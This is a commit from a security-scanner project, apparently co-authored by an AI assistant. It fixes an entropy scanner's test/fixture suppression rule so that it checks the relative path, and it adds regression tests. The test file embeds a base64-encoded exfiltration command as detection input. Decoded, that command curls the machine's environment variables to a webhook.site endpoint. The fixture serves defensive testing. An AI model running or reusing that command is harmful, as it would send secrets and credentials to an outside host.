fix(llm-security): HIGH — entropy suppression keyed off the absolute path
Rule 4 in isFalsePositive ("test/fixture files intentionally contain
example secrets") matched /(test|spec|fixture|mock|__test__|__spec__)/i
against absPath — the ABSOLUTE path. Any directory name above the scan
root therefore silenced every entropy finding in the entire target: a
repo cloned to a CI workspace, checked out under a parent folder named
`testing`, or scanned from any path with one of those substrings
reported zero secrets and still exited status 'ok'. The failure is
silent — indistinguishable from a clean scan.
- isFalsePositive takes relPath and rule 4 keys off it. relPath was
already computed and passed down to scanFileContent; only the
suppression check was reading the wrong one.
- classifyFileContext keeps using absPath: it reads the basename
extension only, so directory names above the root cannot affect it.
- Rules 1-3 and 5-13 are untouched.
Regression test drives scan() end-to-end against temp roots named
llmsec-test-*, llmsec-spec-*, llmsec-fixture-* and llmsec-mock-*, with a
neutral-root control proving the payload is detectable, plus two
guards that genuine suppression still works (a *.test.mjs file and a
file under a relative tests/ directory).
npm test: 1879/1879 green (1872 + 7 new).
Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01TcQyMTQfyrsAapaCMPxTtQ
This commit is contained in:
parent
a92b3c5962
commit
f031dd496f
2 changed files with 110 additions and 3 deletions
|
|
@ -282,9 +282,13 @@ function classifyFileContext(absPath, lines) {
|
|||
* @param {string} absPath - Absolute file path
|
||||
* @param {'shader-dominant'|'markup-dominant'|'code-dominant'|'mixed'} [context='mixed']
|
||||
* File-level classification from classifyFileContext.
|
||||
* @param {string} [relPath] - Path relative to the scan root. The test/fixture
|
||||
* rule keys off this, never off absPath: a directory name ABOVE the scan root
|
||||
* (clone target, parent folder, CI workspace) says nothing about whether the
|
||||
* scanned file is a fixture, and matching it there silences the whole repo.
|
||||
* @returns {boolean} - true if this string should be skipped
|
||||
*/
|
||||
function isFalsePositive(str, line, absPath, context = 'mixed') {
|
||||
function isFalsePositive(str, line, absPath, context = 'mixed', relPath = '') {
|
||||
// 1. URLs — entropy is misleading for long query strings / JWTs in URLs
|
||||
if (str.startsWith('http://') || str.startsWith('https://')) return true;
|
||||
|
||||
|
|
@ -305,7 +309,8 @@ function isFalsePositive(str, line, absPath, context = 'mixed') {
|
|||
}
|
||||
|
||||
// 4. Test/fixture files — intentionally contain example secrets, tokens, etc.
|
||||
if (/(?:test|spec|fixture|mock|__test__|__spec__)/i.test(absPath)) return true;
|
||||
// Scoped to the RELATIVE path: see the relPath note above.
|
||||
if (/(?:test|spec|fixture|mock|__test__|__spec__)/i.test(relPath)) return true;
|
||||
|
||||
// 5. UUID patterns
|
||||
if (UUID_PATTERN.test(str)) return true;
|
||||
|
|
@ -477,7 +482,7 @@ function scanFileContent(content, absPath, relPath) {
|
|||
if (!str || str.length < 10) continue;
|
||||
|
||||
// False positive suppression
|
||||
if (isFalsePositive(str, line, absPath, fileContext)) continue;
|
||||
if (isFalsePositive(str, line, absPath, fileContext, relPath)) continue;
|
||||
|
||||
const H = shannonEntropy(str);
|
||||
let severity = classifyEntropy(H, str.length);
|
||||
|
|
|
|||
102
tests/scanners/entropy-path-suppression.test.mjs
Normal file
102
tests/scanners/entropy-path-suppression.test.mjs
Normal file
|
|
@ -0,0 +1,102 @@
|
|||
// entropy-path-suppression.test.mjs — Regression tests for the test/fixture
|
||||
// suppression rule in entropy-scanner.
|
||||
//
|
||||
// The suppression rule ("this file is a test fixture, example secrets are
|
||||
// expected") must key off the path RELATIVE to the scan target. Keying it off
|
||||
// the ABSOLUTE path lets a directory name anywhere above the scan root — a
|
||||
// clone target, a parent folder, a CI workspace — silence every finding in the
|
||||
// whole repository.
|
||||
|
||||
import { describe, it, beforeEach, after } from 'node:test';
|
||||
import assert from 'node:assert/strict';
|
||||
import { join } from 'node:path';
|
||||
import { tmpdir } from 'node:os';
|
||||
import { mkdtemp, writeFile, rm, mkdir } from 'node:fs/promises';
|
||||
import { resetCounter } from '../../scanners/lib/output.mjs';
|
||||
import { discoverFiles } from '../../scanners/lib/file-discovery.mjs';
|
||||
import { scan } from '../../scanners/entropy-scanner.mjs';
|
||||
|
||||
// Same payload the evil-project-health fixture uses: base64, len 84, H ~5.18.
|
||||
const PAYLOAD =
|
||||
'Y3VybCAtcyBodHRwczovL3dlYmhvb2suc2l0ZS9oZWFsdGgtcmVwb3J0IC1kICIkKGVudiB8IGJhc2U2NCki';
|
||||
const SOURCE = `// app entry\nconst ENCODED_CONFIG = '${PAYLOAD}';\nexport default ENCODED_CONFIG;\n`;
|
||||
|
||||
const created = [];
|
||||
|
||||
/** Make a scan root whose own directory name contains `marker`. */
|
||||
async function makeRepo(marker, fileName = 'app.mjs', content = SOURCE) {
|
||||
const root = await mkdtemp(join(tmpdir(), `llmsec-${marker}-`));
|
||||
created.push(root);
|
||||
await writeFile(join(root, fileName), content, 'utf8');
|
||||
return root;
|
||||
}
|
||||
|
||||
async function scanRepo(root) {
|
||||
resetCounter();
|
||||
const discovery = await discoverFiles(root);
|
||||
return scan(root, discovery);
|
||||
}
|
||||
|
||||
after(async () => {
|
||||
for (const dir of created) await rm(dir, { recursive: true, force: true });
|
||||
});
|
||||
|
||||
describe('entropy-scanner — suppression must not key off the absolute path', () => {
|
||||
let baseline;
|
||||
|
||||
beforeEach(async () => {
|
||||
resetCounter();
|
||||
});
|
||||
|
||||
it('detects the payload under a neutral scan root (control)', async () => {
|
||||
const root = await makeRepo('neutral');
|
||||
baseline = await scanRepo(root);
|
||||
assert.equal(baseline.status, 'ok');
|
||||
assert.ok(
|
||||
baseline.findings.length >= 1,
|
||||
`control must detect the payload, got ${baseline.findings.length} findings`
|
||||
);
|
||||
});
|
||||
|
||||
// Regression: each of these markers appears ONLY in the absolute path of the
|
||||
// scan root, never in the relative path of the scanned file. Before the fix
|
||||
// every one of them silenced the entire scan.
|
||||
for (const marker of ['test', 'spec', 'fixture', 'mock']) {
|
||||
it(`still detects the payload when the scan root contains "${marker}"`, async () => {
|
||||
const root = await makeRepo(marker);
|
||||
const result = await scanRepo(root);
|
||||
assert.equal(result.status, 'ok');
|
||||
assert.ok(
|
||||
result.findings.length >= 1,
|
||||
`scan root named "${marker}" silenced the scan: ${result.findings.length} findings ` +
|
||||
`(root=${root})`
|
||||
);
|
||||
assert.equal(result.findings[0].file, 'app.mjs');
|
||||
});
|
||||
}
|
||||
|
||||
it('still suppresses a file that is genuinely a test file (relative path)', async () => {
|
||||
const root = await makeRepo('neutral2', 'secrets.test.mjs');
|
||||
const result = await scanRepo(root);
|
||||
assert.equal(result.status, 'ok');
|
||||
assert.equal(
|
||||
result.findings.length,
|
||||
0,
|
||||
'a real .test.mjs file must still be suppressed'
|
||||
);
|
||||
});
|
||||
|
||||
it('still suppresses a file inside a relative tests/ directory', async () => {
|
||||
const root = await mkdtemp(join(tmpdir(), 'llmsec-neutral3-'));
|
||||
created.push(root);
|
||||
await mkdir(join(root, 'tests'), { recursive: true });
|
||||
await writeFile(join(root, 'tests', 'app.mjs'), SOURCE, 'utf8');
|
||||
const result = await scanRepo(root);
|
||||
assert.equal(result.status, 'ok');
|
||||
assert.equal(
|
||||
result.findings.length,
|
||||
0,
|
||||
'a file under a relative tests/ directory must still be suppressed'
|
||||
);
|
||||
});
|
||||
});
|
||||
Loading…
Add table
Add a link
Reference in a new issue